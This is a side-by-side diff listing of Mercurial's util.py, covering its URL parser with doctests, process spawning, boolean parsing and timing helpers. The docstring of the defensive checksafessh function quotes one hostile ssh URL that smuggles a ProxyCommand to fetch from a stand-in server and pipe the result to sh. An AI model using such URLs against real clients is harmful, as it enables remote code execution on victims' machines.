2502 return [encoding.environ['EXECUTABLEPATH']]
2528 return [encoding.environ['EXECUTABLEPATH']]
2503 else:
2529 else:
2504 return [pycompat.sysexecutable]
2530 return [pycompat.sysexecutable]
2505 return gethgcmd()
2531 return gethgcmd()
2506
2532
2507 def rundetached(args, condfn):
2533 def rundetached(args, condfn):
2508 """Execute the argument list in a detached process.
2534 """Execute the argument list in a detached process.
2509
2535
2510 condfn is a callable which is called repeatedly and should return
2536 condfn is a callable which is called repeatedly and should return
2511 True once the child process is known to have started successfully.
2537 True once the child process is known to have started successfully.
2512 At this point, the child process PID is returned. If the child
2538 At this point, the child process PID is returned. If the child
2513 process fails to start or finishes before condfn() evaluates to
2539 process fails to start or finishes before condfn() evaluates to
2514 True, return -1.
2540 True, return -1.
2515 """
2541 """
2516 # Windows case is easier because the child process is either
2542 # Windows case is easier because the child process is either
2517 # successfully starting and validating the condition or exiting
2543 # successfully starting and validating the condition or exiting
2518 # on failure. We just poll on its PID. On Unix, if the child
2544 # on failure. We just poll on its PID. On Unix, if the child
2519 # process fails to start, it will be left in a zombie state until
2545 # process fails to start, it will be left in a zombie state until
2520 # the parent wait on it, which we cannot do since we expect a long
2546 # the parent wait on it, which we cannot do since we expect a long
2521 # running process on success. Instead we listen for SIGCHLD telling
2547 # running process on success. Instead we listen for SIGCHLD telling
2522 # us our child process terminated.
2548 # us our child process terminated.
2523 terminated = set()
2549 terminated = set()
2524 def handler(signum, frame):
2550 def handler(signum, frame):
2525 terminated.add(os.wait())
2551 terminated.add(os.wait())
2526 prevhandler = None
2552 prevhandler = None
2527 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2553 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2528 if SIGCHLD is not None:
2554 if SIGCHLD is not None:
2529 prevhandler = signal.signal(SIGCHLD, handler)
2555 prevhandler = signal.signal(SIGCHLD, handler)
2530 try:
2556 try:
2531 pid = spawndetached(args)
2557 pid = spawndetached(args)
2532 while not condfn():
2558 while not condfn():
2533 if ((pid in terminated or not testpid(pid))
2559 if ((pid in terminated or not testpid(pid))
2534 and not condfn()):
2560 and not condfn()):
2535 return -1
2561 return -1
2536 time.sleep(0.1)
2562 time.sleep(0.1)
2537 return pid
2563 return pid
2538 finally:
2564 finally:
2539 if prevhandler is not None:
2565 if prevhandler is not None:
2540 signal.signal(signal.SIGCHLD, prevhandler)
2566 signal.signal(signal.SIGCHLD, prevhandler)
2541
2567
2542 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2568 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2543 """Return the result of interpolating items in the mapping into string s.
2569 """Return the result of interpolating items in the mapping into string s.
2544
2570
2545 prefix is a single character string, or a two character string with
2571 prefix is a single character string, or a two character string with
2546 a backslash as the first character if the prefix needs to be escaped in
2572 a backslash as the first character if the prefix needs to be escaped in
2547 a regular expression.
2573 a regular expression.
2548
2574
2549 fn is an optional function that will be applied to the replacement text
2575 fn is an optional function that will be applied to the replacement text
2550 just before replacement.
2576 just before replacement.
2551
2577
2552 escape_prefix is an optional flag that allows using doubled prefix for
2578 escape_prefix is an optional flag that allows using doubled prefix for
2553 its escaping.
2579 its escaping.
2554 """
2580 """
2555 fn = fn or (lambda s: s)
2581 fn = fn or (lambda s: s)
2556 patterns = '|'.join(mapping.keys())
2582 patterns = '|'.join(mapping.keys())
2557 if escape_prefix:
2583 if escape_prefix:
2558 patterns += '|' + prefix
2584 patterns += '|' + prefix
2559 if len(prefix) > 1:
2585 if len(prefix) > 1:
2560 prefix_char = prefix[1:]
2586 prefix_char = prefix[1:]
2561 else:
2587 else:
2562 prefix_char = prefix
2588 prefix_char = prefix
2563 mapping[prefix_char] = prefix_char
2589 mapping[prefix_char] = prefix_char
2564 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2590 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2565 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2591 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2566
2592
2567 def getport(port):
2593 def getport(port):
2568 """Return the port for a given network service.
2594 """Return the port for a given network service.
2569
2595
2570 If port is an integer, it's returned as is. If it's a string, it's
2596 If port is an integer, it's returned as is. If it's a string, it's
2571 looked up using socket.getservbyname(). If there's no matching
2597 looked up using socket.getservbyname(). If there's no matching
2572 service, error.Abort is raised.
2598 service, error.Abort is raised.
2573 """
2599 """
2574 try:
2600 try:
2575 return int(port)
2601 return int(port)
2576 except ValueError:
2602 except ValueError:
2577 pass
2603 pass
2578
2604
2579 try:
2605 try:
2580 return socket.getservbyname(port)
2606 return socket.getservbyname(port)
2581 except socket.error:
2607 except socket.error:
2582 raise Abort(_("no port number associated with service '%s'") % port)
2608 raise Abort(_("no port number associated with service '%s'") % port)
2583
2609
2584 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2610 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2585 '0': False, 'no': False, 'false': False, 'off': False,
2611 '0': False, 'no': False, 'false': False, 'off': False,
2586 'never': False}
2612 'never': False}
2587
2613
2588 def parsebool(s):
2614 def parsebool(s):
2589 """Parse s into a boolean.
2615 """Parse s into a boolean.
2590
2616
2591 If s is not a valid boolean, returns None.
2617 If s is not a valid boolean, returns None.
2592 """
2618 """
2593 return _booleans.get(s.lower(), None)
2619 return _booleans.get(s.lower(), None)
2594
2620
2595 _hextochr = dict((a + b, chr(int(a + b, 16)))
2621 _hextochr = dict((a + b, chr(int(a + b, 16)))
2596 for a in string.hexdigits for b in string.hexdigits)
2622 for a in string.hexdigits for b in string.hexdigits)
2597
2623
2598 class url(object):
2624 class url(object):
2599 r"""Reliable URL parser.
2625 r"""Reliable URL parser.
2600
2626
2601 This parses URLs and provides attributes for the following
2627 This parses URLs and provides attributes for the following
2602 components:
2628 components:
2603
2629
2604 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2630 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2605
2631
2606 Missing components are set to None. The only exception is
2632 Missing components are set to None. The only exception is
2607 fragment, which is set to '' if present but empty.
2633 fragment, which is set to '' if present but empty.
2608
2634
2609 If parsefragment is False, fragment is included in query. If
2635 If parsefragment is False, fragment is included in query. If
2610 parsequery is False, query is included in path. If both are
2636 parsequery is False, query is included in path. If both are
2611 False, both fragment and query are included in path.
2637 False, both fragment and query are included in path.
2612
2638
2613 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2639 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2614
2640
2615 Note that for backward compatibility reasons, bundle URLs do not
2641 Note that for backward compatibility reasons, bundle URLs do not
2616 take host names. That means 'bundle://../' has a path of '../'.
2642 take host names. That means 'bundle://../' has a path of '../'.
2617
2643
2618 Examples:
2644 Examples:
2619
2645
2620 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2646 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2621 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2647 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2622 >>> url('ssh://[::1]:2200//home/joe/repo')
2648 >>> url('ssh://[::1]:2200//home/joe/repo')
2623 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2649 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2624 >>> url('file:///home/joe/repo')
2650 >>> url('file:///home/joe/repo')
2625 <url scheme: 'file', path: '/home/joe/repo'>
2651 <url scheme: 'file', path: '/home/joe/repo'>
2626 >>> url('file:///c:/temp/foo/')
2652 >>> url('file:///c:/temp/foo/')
2627 <url scheme: 'file', path: 'c:/temp/foo/'>
2653 <url scheme: 'file', path: 'c:/temp/foo/'>
2628 >>> url('bundle:foo')
2654 >>> url('bundle:foo')
2629 <url scheme: 'bundle', path: 'foo'>
2655 <url scheme: 'bundle', path: 'foo'>
2630 >>> url('bundle://../foo')
2656 >>> url('bundle://../foo')
2631 <url scheme: 'bundle', path: '../foo'>
2657 <url scheme: 'bundle', path: '../foo'>
2632 >>> url(r'c:\foo\bar')
2658 >>> url(r'c:\foo\bar')
2633 <url path: 'c:\\foo\\bar'>
2659 <url path: 'c:\\foo\\bar'>
2634 >>> url(r'\\blah\blah\blah')
2660 >>> url(r'\\blah\blah\blah')
2635 <url path: '\\\\blah\\blah\\blah'>
2661 <url path: '\\\\blah\\blah\\blah'>
2636 >>> url(r'\\blah\blah\blah#baz')
2662 >>> url(r'\\blah\blah\blah#baz')
2637 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2663 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2638 >>> url(r'file:///C:\users\me')
2664 >>> url(r'file:///C:\users\me')
2639 <url scheme: 'file', path: 'C:\\users\\me'>
2665 <url scheme: 'file', path: 'C:\\users\\me'>
2640
2666
2641 Authentication credentials:
2667 Authentication credentials:
2642
2668
2643 >>> url('ssh://joe:xyz@x/repo')
2669 >>> url('ssh://joe:xyz@x/repo')
2644 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2670 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2645 >>> url('ssh://joe@x/repo')
2671 >>> url('ssh://joe@x/repo')
2646 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2672 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2647
2673
2648 Query strings and fragments:
2674 Query strings and fragments:
2649
2675
2650 >>> url('http://host/a?b#c')
2676 >>> url('http://host/a?b#c')
2651 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2677 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2652 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2678 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2653 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2679 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2654
2680
2655 Empty path:
2681 Empty path:
2656
2682
2657 >>> url('')
2683 >>> url('')
2658 <url path: ''>
2684 <url path: ''>
2659 >>> url('#a')
2685 >>> url('#a')
2660 <url path: '', fragment: 'a'>
2686 <url path: '', fragment: 'a'>
2661 >>> url('http://host/')
2687 >>> url('http://host/')
2662 <url scheme: 'http', host: 'host', path: ''>
2688 <url scheme: 'http', host: 'host', path: ''>
2663 >>> url('http://host/#a')
2689 >>> url('http://host/#a')
2664 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2690 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2665
2691
2666 Only scheme:
2692 Only scheme:
2667
2693
2668 >>> url('http:')
2694 >>> url('http:')
2669 <url scheme: 'http'>
2695 <url scheme: 'http'>
2670 """
2696 """
2671
2697
2672 _safechars = "!~*'()+"
2698 _safechars = "!~*'()+"
2673 _safepchars = "/!~*'()+:\\"
2699 _safepchars = "/!~*'()+:\\"
2674 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2700 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2675
2701
2676 def __init__(self, path, parsequery=True, parsefragment=True):
2702 def __init__(self, path, parsequery=True, parsefragment=True):
2677 # We slowly chomp away at path until we have only the path left
2703 # We slowly chomp away at path until we have only the path left
2678 self.scheme = self.user = self.passwd = self.host = None
2704 self.scheme = self.user = self.passwd = self.host = None
2679 self.port = self.path = self.query = self.fragment = None
2705 self.port = self.path = self.query = self.fragment = None
2680 self._localpath = True
2706 self._localpath = True
2681 self._hostport = ''
2707 self._hostport = ''
2682 self._origpath = path
2708 self._origpath = path
2683
2709
2684 if parsefragment and '#' in path:
2710 if parsefragment and '#' in path:
2685 path, self.fragment = path.split('#', 1)
2711 path, self.fragment = path.split('#', 1)
2686
2712
2687 # special case for Windows drive letters and UNC paths
2713 # special case for Windows drive letters and UNC paths
2688 if hasdriveletter(path) or path.startswith('\\\\'):
2714 if hasdriveletter(path) or path.startswith('\\\\'):
2689 self.path = path
2715 self.path = path
2690 return
2716 return
2691
2717
2692 # For compatibility reasons, we can't handle bundle paths as
2718 # For compatibility reasons, we can't handle bundle paths as
2693 # normal URLS
2719 # normal URLS
2694 if path.startswith('bundle:'):
2720 if path.startswith('bundle:'):
2695 self.scheme = 'bundle'
2721 self.scheme = 'bundle'
2696 path = path[7:]
2722 path = path[7:]
2697 if path.startswith('//'):
2723 if path.startswith('//'):
2698 path = path[2:]
2724 path = path[2:]
2699 self.path = path
2725 self.path = path
2700 return
2726 return
2701
2727
2702 if self._matchscheme(path):
2728 if self._matchscheme(path):
2703 parts = path.split(':', 1)
2729 parts = path.split(':', 1)
2704 if parts[0]:
2730 if parts[0]:
2705 self.scheme, path = parts
2731 self.scheme, path = parts
2706 self._localpath = False
2732 self._localpath = False
2707
2733
2708 if not path:
2734 if not path:
2709 path = None
2735 path = None
2710 if self._localpath:
2736 if self._localpath:
2711 self.path = ''
2737 self.path = ''
2712 return
2738 return
2713 else:
2739 else:
2714 if self._localpath:
2740 if self._localpath:
2715 self.path = path
2741 self.path = path
2716 return
2742 return
2717
2743
2718 if parsequery and '?' in path:
2744 if parsequery and '?' in path:
2719 path, self.query = path.split('?', 1)
2745 path, self.query = path.split('?', 1)
2720 if not path:
2746 if not path:
2721 path = None
2747 path = None
2722 if not self.query:
2748 if not self.query:
2723 self.query = None
2749 self.query = None
2724
2750
2725 # // is required to specify a host/authority
2751 # // is required to specify a host/authority
2726 if path and path.startswith('//'):
2752 if path and path.startswith('//'):
2727 parts = path[2:].split('/', 1)
2753 parts = path[2:].split('/', 1)
2728 if len(parts) > 1:
2754 if len(parts) > 1:
2729 self.host, path = parts
2755 self.host, path = parts
2730 else:
2756 else:
2731 self.host = parts[0]
2757 self.host = parts[0]
2732 path = None
2758 path = None
2733 if not self.host:
2759 if not self.host:
2734 self.host = None
2760 self.host = None
2735 # path of file:///d is /d
2761 # path of file:///d is /d
2736 # path of file:///d:/ is d:/, not /d:/
2762 # path of file:///d:/ is d:/, not /d:/
2737 if path and not hasdriveletter(path):
2763 if path and not hasdriveletter(path):
2738 path = '/' + path
2764 path = '/' + path
2739
2765
2740 if self.host and '@' in self.host:
2766 if self.host and '@' in self.host:
2741 self.user, self.host = self.host.rsplit('@', 1)
2767 self.user, self.host = self.host.rsplit('@', 1)
2742 if ':' in self.user:
2768 if ':' in self.user:
2743 self.user, self.passwd = self.user.split(':', 1)
2769 self.user, self.passwd = self.user.split(':', 1)
2744 if not self.host:
2770 if not self.host:
2745 self.host = None
2771 self.host = None
2746
2772
2747 # Don't split on colons in IPv6 addresses without ports
2773 # Don't split on colons in IPv6 addresses without ports
2748 if (self.host and ':' in self.host and
2774 if (self.host and ':' in self.host and
2749 not (self.host.startswith('[') and self.host.endswith(']'))):
2775 not (self.host.startswith('[') and self.host.endswith(']'))):
2750 self._hostport = self.host
2776 self._hostport = self.host
2751 self.host, self.port = self.host.rsplit(':', 1)
2777 self.host, self.port = self.host.rsplit(':', 1)
2752 if not self.host:
2778 if not self.host:
2753 self.host = None
2779 self.host = None
2754
2780
2755 if (self.host and self.scheme == 'file' and
2781 if (self.host and self.scheme == 'file' and
2756 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2782 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2757 raise Abort(_('file:// URLs can only refer to localhost'))
2783 raise Abort(_('file:// URLs can only refer to localhost'))
2758
2784
2759 self.path = path
2785 self.path = path
2760
2786
2761 # leave the query string escaped
2787 # leave the query string escaped
2762 for a in ('user', 'passwd', 'host', 'port',
2788 for a in ('user', 'passwd', 'host', 'port',
2763 'path', 'fragment'):
2789 'path', 'fragment'):
2764 v = getattr(self, a)
2790 v = getattr(self, a)
2765 if v is not None:
2791 if v is not None:
2766 setattr(self, a, urlreq.unquote(v))
2792 setattr(self, a, urlreq.unquote(v))
2767
2793
2768 def __repr__(self):
2794 def __repr__(self):
2769 attrs = []
2795 attrs = []
2770 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2796 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2771 'query', 'fragment'):
2797 'query', 'fragment'):
2772 v = getattr(self, a)
2798 v = getattr(self, a)
2773 if v is not None:
2799 if v is not None:
2774 attrs.append('%s: %r' % (a, v))
2800 attrs.append('%s: %r' % (a, v))
2775 return '<url %s>' % ', '.join(attrs)
2801 return '<url %s>' % ', '.join(attrs)
2776
2802
2777 def __bytes__(self):
2803 def __bytes__(self):
2778 r"""Join the URL's components back into a URL string.
2804 r"""Join the URL's components back into a URL string.
2779
2805
2780 Examples:
2806 Examples:
2781
2807
2782 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2808 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2783 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2809 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2784 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2810 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2785 'http://user:pw@host:80/?foo=bar&baz=42'
2811 'http://user:pw@host:80/?foo=bar&baz=42'
2786 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2812 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2787 'http://user:pw@host:80/?foo=bar%3dbaz'
2813 'http://user:pw@host:80/?foo=bar%3dbaz'
2788 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2814 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2789 'ssh://user:pw@[::1]:2200//home/joe#'
2815 'ssh://user:pw@[::1]:2200//home/joe#'
2790 >>> str(url('http://localhost:80//'))
2816 >>> str(url('http://localhost:80//'))
2791 'http://localhost:80//'
2817 'http://localhost:80//'
2792 >>> str(url('http://localhost:80/'))
2818 >>> str(url('http://localhost:80/'))
2793 'http://localhost:80/'
2819 'http://localhost:80/'
2794 >>> str(url('http://localhost:80'))
2820 >>> str(url('http://localhost:80'))
2795 'http://localhost:80/'
2821 'http://localhost:80/'
2796 >>> str(url('bundle:foo'))
2822 >>> str(url('bundle:foo'))
2797 'bundle:foo'
2823 'bundle:foo'
2798 >>> str(url('bundle://../foo'))
2824 >>> str(url('bundle://../foo'))
2799 'bundle:../foo'
2825 'bundle:../foo'
2800 >>> str(url('path'))
2826 >>> str(url('path'))
2801 'path'
2827 'path'
2802 >>> str(url('file:///tmp/foo/bar'))
2828 >>> str(url('file:///tmp/foo/bar'))
2803 'file:///tmp/foo/bar'
2829 'file:///tmp/foo/bar'
2804 >>> str(url('file:///c:/tmp/foo/bar'))
2830 >>> str(url('file:///c:/tmp/foo/bar'))
2805 'file:///c:/tmp/foo/bar'
2831 'file:///c:/tmp/foo/bar'
2806 >>> print url(r'bundle:foo\bar')
2832 >>> print url(r'bundle:foo\bar')
2807 bundle:foo\bar
2833 bundle:foo\bar
2808 >>> print url(r'file:///D:\data\hg')
2834 >>> print url(r'file:///D:\data\hg')
2809 file:///D:\data\hg
2835 file:///D:\data\hg
2810 """
2836 """
2811 if self._localpath:
2837 if self._localpath:
2812 s = self.path
2838 s = self.path
2813 if self.scheme == 'bundle':
2839 if self.scheme == 'bundle':
2814 s = 'bundle:' + s
2840 s = 'bundle:' + s
2815 if self.fragment:
2841 if self.fragment:
2816 s += '#' + self.fragment
2842 s += '#' + self.fragment
2817 return s
2843 return s
2818
2844
2819 s = self.scheme + ':'
2845 s = self.scheme + ':'
2820 if self.user or self.passwd or self.host:
2846 if self.user or self.passwd or self.host:
2821 s += '//'
2847 s += '//'
2822 elif self.scheme and (not self.path or self.path.startswith('/')
2848 elif self.scheme and (not self.path or self.path.startswith('/')
2823 or hasdriveletter(self.path)):
2849 or hasdriveletter(self.path)):
2824 s += '//'
2850 s += '//'
2825 if hasdriveletter(self.path):
2851 if hasdriveletter(self.path):
2826 s += '/'
2852 s += '/'
2827 if self.user:
2853 if self.user:
2828 s += urlreq.quote(self.user, safe=self._safechars)
2854 s += urlreq.quote(self.user, safe=self._safechars)
2829 if self.passwd:
2855 if self.passwd:
2830 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2856 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2831 if self.user or self.passwd:
2857 if self.user or self.passwd:
2832 s += '@'
2858 s += '@'
2833 if self.host:
2859 if self.host:
2834 if not (self.host.startswith('[') and self.host.endswith(']')):
2860 if not (self.host.startswith('[') and self.host.endswith(']')):
2835 s += urlreq.quote(self.host)
2861 s += urlreq.quote(self.host)
2836 else:
2862 else:
2837 s += self.host
2863 s += self.host
2838 if self.port:
2864 if self.port:
2839 s += ':' + urlreq.quote(self.port)
2865 s += ':' + urlreq.quote(self.port)
2840 if self.host:
2866 if self.host:
2841 s += '/'
2867 s += '/'
2842 if self.path:
2868 if self.path:
2843 # TODO: similar to the query string, we should not unescape the
2869 # TODO: similar to the query string, we should not unescape the
2844 # path when we store it, the path might contain '%2f' = '/',
2870 # path when we store it, the path might contain '%2f' = '/',
2845 # which we should *not* escape.
2871 # which we should *not* escape.
2846 s += urlreq.quote(self.path, safe=self._safepchars)
2872 s += urlreq.quote(self.path, safe=self._safepchars)
2847 if self.query:
2873 if self.query:
2848 # we store the query in escaped form.
2874 # we store the query in escaped form.
2849 s += '?' + self.query
2875 s += '?' + self.query
2850 if self.fragment is not None:
2876 if self.fragment is not None:
2851 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2877 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2852 return s
2878 return s
2853
2879
2854 __str__ = encoding.strmethod(__bytes__)
2880 __str__ = encoding.strmethod(__bytes__)
2855
2881
2856 def authinfo(self):
2882 def authinfo(self):
2857 user, passwd = self.user, self.passwd
2883 user, passwd = self.user, self.passwd
2858 try:
2884 try:
2859 self.user, self.passwd = None, None
2885 self.user, self.passwd = None, None
2860 s = bytes(self)
2886 s = bytes(self)
2861 finally:
2887 finally:
2862 self.user, self.passwd = user, passwd
2888 self.user, self.passwd = user, passwd
2863 if not self.user:
2889 if not self.user:
2864 return (s, None)
2890 return (s, None)
2865 # authinfo[1] is passed to urllib2 password manager, and its
2891 # authinfo[1] is passed to urllib2 password manager, and its
2866 # URIs must not contain credentials. The host is passed in the
2892 # URIs must not contain credentials. The host is passed in the
2867 # URIs list because Python < 2.4.3 uses only that to search for
2893 # URIs list because Python < 2.4.3 uses only that to search for
2868 # a password.
2894 # a password.
2869 return (s, (None, (s, self.host),
2895 return (s, (None, (s, self.host),
2870 self.user, self.passwd or ''))
2896 self.user, self.passwd or ''))
2871
2897
2872 def isabs(self):
2898 def isabs(self):
2873 if self.scheme and self.scheme != 'file':
2899 if self.scheme and self.scheme != 'file':
2874 return True # remote URL
2900 return True # remote URL
2875 if hasdriveletter(self.path):
2901 if hasdriveletter(self.path):
2876 return True # absolute for our purposes - can't be joined()
2902 return True # absolute for our purposes - can't be joined()
2877 if self.path.startswith(br'\\'):
2903 if self.path.startswith(br'\\'):
2878 return True # Windows UNC path
2904 return True # Windows UNC path
2879 if self.path.startswith('/'):
2905 if self.path.startswith('/'):
2880 return True # POSIX-style
2906 return True # POSIX-style
2881 return False
2907 return False
2882
2908
2883 def localpath(self):
2909 def localpath(self):
2884 if self.scheme == 'file' or self.scheme == 'bundle':
2910 if self.scheme == 'file' or self.scheme == 'bundle':
2885 path = self.path or '/'
2911 path = self.path or '/'
2886 # For Windows, we need to promote hosts containing drive
2912 # For Windows, we need to promote hosts containing drive
2887 # letters to paths with drive letters.
2913 # letters to paths with drive letters.
2888 if hasdriveletter(self._hostport):
2914 if hasdriveletter(self._hostport):
2889 path = self._hostport + '/' + self.path
2915 path = self._hostport + '/' + self.path
2890 elif (self.host is not None and self.path
2916 elif (self.host is not None and self.path
2891 and not hasdriveletter(path)):
2917 and not hasdriveletter(path)):
2892 path = '/' + path
2918 path = '/' + path
2893 return path
2919 return path
2894 return self._origpath
2920 return self._origpath
2895
2921
2896 def islocal(self):
2922 def islocal(self):
2897 '''whether localpath will return something that posixfile can open'''
2923 '''whether localpath will return something that posixfile can open'''
2898 return (not self.scheme or self.scheme == 'file'
2924 return (not self.scheme or self.scheme == 'file'
2899 or self.scheme == 'bundle')
2925 or self.scheme == 'bundle')
2900
2926
2901 def hasscheme(path):
2927 def hasscheme(path):
2902 return bool(url(path).scheme)
2928 return bool(url(path).scheme)
2903
2929
2904 def hasdriveletter(path):
2930 def hasdriveletter(path):
2905 return path and path[1:2] == ':' and path[0:1].isalpha()
2931 return path and path[1:2] == ':' and path[0:1].isalpha()
2906
2932
2907 def urllocalpath(path):
2933 def urllocalpath(path):
2908 return url(path, parsequery=False, parsefragment=False).localpath()
2934 return url(path, parsequery=False, parsefragment=False).localpath()
2909
2935
2910 def checksafessh(path):
2936 def checksafessh(path):
2911 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2937 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2912
2938
2913 This is a sanity check for ssh urls. ssh will parse the first item as
2939 This is a sanity check for ssh urls. ssh will parse the first item as
2914 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2940 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2915 Let's prevent these potentially exploited urls entirely and warn the
2941 Let's prevent these potentially exploited urls entirely and warn the
2916 user.
2942 user.
2917
2943
2918 Raises an error.Abort when the url is unsafe.
2944 Raises an error.Abort when the url is unsafe.
2919 """
2945 """
2920 path = urlreq.unquote(path)
2946 path = urlreq.unquote(path)
2921 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2947 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2922 raise error.Abort(_('potentially unsafe url: %r') %
2948 raise error.Abort(_('potentially unsafe url: %r') %
2923 (path,))
2949 (path,))
2924
2950
2925 def hidepassword(u):
2951 def hidepassword(u):
2926 '''hide user credential in a url string'''
2952 '''hide user credential in a url string'''
2927 u = url(u)
2953 u = url(u)
2928 if u.passwd:
2954 if u.passwd:
2929 u.passwd = '***'
2955 u.passwd = '***'
2930 return bytes(u)
2956 return bytes(u)
2931
2957
2932 def removeauth(u):
2958 def removeauth(u):
2933 '''remove all authentication information from a url string'''
2959 '''remove all authentication information from a url string'''
2934 u = url(u)
2960 u = url(u)
2935 u.user = u.passwd = None
2961 u.user = u.passwd = None
2936 return str(u)
2962 return str(u)
2937
2963
2938 timecount = unitcountfn(
2964 timecount = unitcountfn(
2939 (1, 1e3, _('%.0f s')),
2965 (1, 1e3, _('%.0f s')),
2940 (100, 1, _('%.1f s')),
2966 (100, 1, _('%.1f s')),
2941 (10, 1, _('%.2f s')),
2967 (10, 1, _('%.2f s')),
2942 (1, 1, _('%.3f s')),
2968 (1, 1, _('%.3f s')),
2943 (100, 0.001, _('%.1f ms')),
2969 (100, 0.001, _('%.1f ms')),
2944 (10, 0.001, _('%.2f ms')),
2970 (10, 0.001, _('%.2f ms')),
2945 (1, 0.001, _('%.3f ms')),
2971 (1, 0.001, _('%.3f ms')),
2946 (100, 0.000001, _('%.1f us')),
2972 (100, 0.000001, _('%.1f us')),
2947 (10, 0.000001, _('%.2f us')),
2973 (10, 0.000001, _('%.2f us')),
2948 (1, 0.000001, _('%.3f us')),
2974 (1, 0.000001, _('%.3f us')),
2949 (100, 0.000000001, _('%.1f ns')),
2975 (100, 0.000000001, _('%.1f ns')),
2950 (10, 0.000000001, _('%.2f ns')),
2976 (10, 0.000000001, _('%.2f ns')),
2951 (1, 0.000000001, _('%.3f ns')),
2977 (1, 0.000000001, _('%.3f ns')),
2952 )
2978 )
2953
2979
2954 _timenesting = [0]
2980 _timenesting = [0]
2955
2981
2956 def timed(func):
2982 def timed(func):
2957 '''Report the execution time of a function call to stderr.
2983 '''Report the execution time of a function call to stderr.
2958
2984
2959 During development, use as a decorator when you need to measure
2985 During development, use as a decorator when you need to measure
2960 the cost of a function, e.g. as follows:
2986 the cost of a function, e.g. as follows:
2961
2987
2962 @util.timed
2988 @util.timed
2963 def foo(a, b, c):
2989 def foo(a, b, c):
2964 pass
2990 pass
2965 '''
2991 '''
2966
2992
2967 def wrapper(*args, **kwargs):
2993 def wrapper(*args, **kwargs):
2968 start = timer()
2994 start = timer()
2969 indent = 2
2995 indent = 2
2970 _timenesting[0] += indent
2996 _timenesting[0] += indent
2971 try:
2997 try:
2972 return func(*args, **kwargs)
2998 return func(*args, **kwargs)
2973 finally:
2999 finally:
2974 elapsed = timer() - start
3000 elapsed = timer() - start
2975 _timenesting[0] -= indent
3001 _timenesting[0] -= indent
2976 stderr.write('%s%s: %s\n' %
3002 stderr.write('%s%s: %s\n' %
2977 (' ' * _timenesting[0], func.__name__,
3003 (' ' * _timenesting[0], func.__name__,
2978 timecount(elapsed)))
3004 timecount(elapsed)))
2979 return wrapper
3005 return wrapper
2980
3006
2981 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3007 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2982 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3008 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2983
3009
2984 def sizetoint(s):
3010 def sizetoint(s):
2985 '''Convert a space specifier to a byte count.
3011 '''Convert a space specifier to a byte count.
2986
3012
2987 >>> sizetoint('30')
3013 >>> sizetoint('30')
2988 30
3014 30
2989 >>> sizetoint('2.2kb')
3015 >>> sizetoint('2.2kb')
2990 2252
3016 2252
2991 >>> sizetoint('6M')
3017 >>> sizetoint('6M')
2992 6291456
3018 6291456
